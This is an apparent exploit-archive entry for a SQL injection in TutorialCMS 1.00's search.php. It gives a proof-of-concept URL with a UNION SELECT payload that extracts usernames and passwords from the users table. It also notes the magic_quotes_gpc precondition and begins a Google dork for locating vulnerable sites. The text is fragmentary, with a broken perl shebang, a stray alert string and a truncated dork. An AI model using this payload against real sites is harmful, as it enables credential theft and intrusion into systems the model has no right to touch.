TutorialCMS 1.00 - search.php?search SQL Injection

TutorialCMS 1.00 - search.php?search SQL Injection !/usr/bin/perl -w TutorialCMS alert'http://www.w4ck1ng.com' PoC: http://victim.com/search.php?search=' UNION SELECT 0,0,0,0,username, password,0,0,0,0,0,0,0 FROM users WHERE id='1' / Subject To: magicquotesgpc set to off GoogleDork: "Powered By...